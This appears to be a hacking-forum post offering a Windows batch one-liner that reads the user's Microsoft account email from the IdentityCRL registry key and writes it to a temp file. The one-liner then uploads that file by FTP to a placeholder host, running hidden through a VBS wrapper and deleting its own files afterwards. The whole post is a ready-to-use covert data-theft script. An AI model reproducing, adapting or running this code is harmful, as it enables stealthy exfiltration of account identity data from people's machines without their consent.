[BATCH] Extract windows admin email from any windows with this code 08-31-2022, 11:17 AM
#1
Code:
(echo reg query HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\UserExtendedProperties\>c:\windows\temp\windows-email.txt && echo @ftp -i -s:"%~f0"^&GOTO:EOF & echo open 127.0.0.1 & echo 1 & echo 1 & echo binary & echo put "c:\windows\temp\windows-email.txt" & echo disconnect & echo bye & echo quit) > %temp%\5.bat && echo Set objShell = WScript.CreateObject("WScript.Shell") > %temp%\5.vbs && echo objShell.Run("%temp%\5.bat"), 0, True >> %temp%\5.vbs && %temp%\5.vbs && del /f /q %temp%\5.bat && del /f /q %temp%\5.vbs && exit

![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)